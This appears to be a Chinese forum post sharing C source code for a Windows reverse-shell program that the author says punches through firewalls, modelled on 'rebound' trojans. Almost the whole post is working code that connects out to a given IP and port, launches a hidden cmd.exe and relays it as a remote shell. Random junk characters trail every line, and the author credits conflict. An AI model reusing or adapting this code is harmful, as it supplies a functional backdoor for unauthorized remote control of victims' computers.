这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6 *GR_sMm
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/* ============================== iKVJ
c=C
Rebound port in Windows NT t~0!K;nn
By wind,2006/7
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===============================*/ +k<0:Fi
#include Zai:?%^
#include Gp.XTz#=
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#pragma comment(lib,"wsock32.lib") t)__J\xF
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void OutputShell(); N0POyd/rL
SOCKET sClient; D_D76
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !*1Kjg3
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void main(int argc,char **argv) =K:)%Qh
{ t"Tv(W?_
WSADATA stWsaData; t8:QK9|1
int nRet; m~;}8ObQE
SOCKADDR_IN stSaiClient,stSaiServer; R<eD)+
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if(argc != 3) O+w82!<:
{ T4fVZd)x
printf("Useage:\n\rRebound DestIP DestPort\n"); v\}s(X(J
return; >oHgs
} Q?xCb
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WSAStartup(MAKEWORD(2,2),&stWsaData); g-8D1.U
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >&Ios<67g
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stSaiClient.sin_family = AF_INET; N, SbJ Z
stSaiClient.sin_port = htons(0); M8y:FDX
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7ZR0cJw;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Iss)7I
{ ON-zhT?v
printf("Bind Socket Failed!\n"); 41XS/# M$*
return; .kf FaK
} ~C31=\$
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stSaiServer.sin_family = AF_INET; ;%`oS.69
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;_dOYG1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TO5#iiM)
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) PO@b9O
{ J`d_=C?J
printf("Connect Error!"); ah2L8jN"
return; /JGET
} NfsF'v
OutputShell(); ?qt .+2:
} /73ANQ"
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void OutputShell() hYSzr-)
{ Pu0 <Clh
char szBuff[1024]; ~zO>Q4-k
SECURITY_ATTRIBUTES stSecurityAttributes; 3IyNnm=u
OSVERSIONINFO stOsversionInfo; 0Bn35.K
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 'jA>P\@8
STARTUPINFO stStartupInfo; k"$E|$
char *szShell; W&Xm_T[Q
PROCESS_INFORMATION stProcessInformation; GC3WB4iY@U
unsigned long lBytesRead; Y=$PsDh!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); uN*Ynf(:-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;k fl5
stSecurityAttributes.lpSecurityDescriptor = 0; 6+LBs.vl}
stSecurityAttributes.bInheritHandle = TRUE; E'iN==p_:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lK"m|Z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $VNj0i. Pr
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jzb%?8ZJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |6o!]~&e$1
stStartupInfo.wShowWindow = SW_HIDE; pybE0]
stStartupInfo.hStdInput = hReadPipe; #<o=W#[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X4dxH_@
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GetVersionEx(&stOsversionInfo); ojG;[@V
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switch(stOsversionInfo.dwPlatformId) mz m{p(.
{ uFYcVvbT@
case 1: i1JVvNMQ,
szShell = "command.com"; 0?Bv
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break; >)*0lfxTZ
default: ]WvV*FL9D3
szShell = "cmd.exe"; M"s+k
break; ,TlYQ/j%h
} 1haNpLfS>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pQCocy
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send(sClient,szMsg,77,0); PdqyNn=
while(1) ZE:!>VXa87
{ QruclNW{Bv
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /I48jO^2
if(lBytesRead) >!3r7LgK
{ ;)23@6{R%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L]Dq1q8`
send(sClient,szBuff,lBytesRead,0); A/TCJ#>l
} CNl @8&R
else wBI>H
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{ A/sM
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lBytesRead=recv(sClient,szBuff,1024,0); tRVz4fk[G
if(lBytesRead<=0) break; lnQY_~s
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} a98J_^ n
} TOw;P:-
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return; ;:1o|>mX
}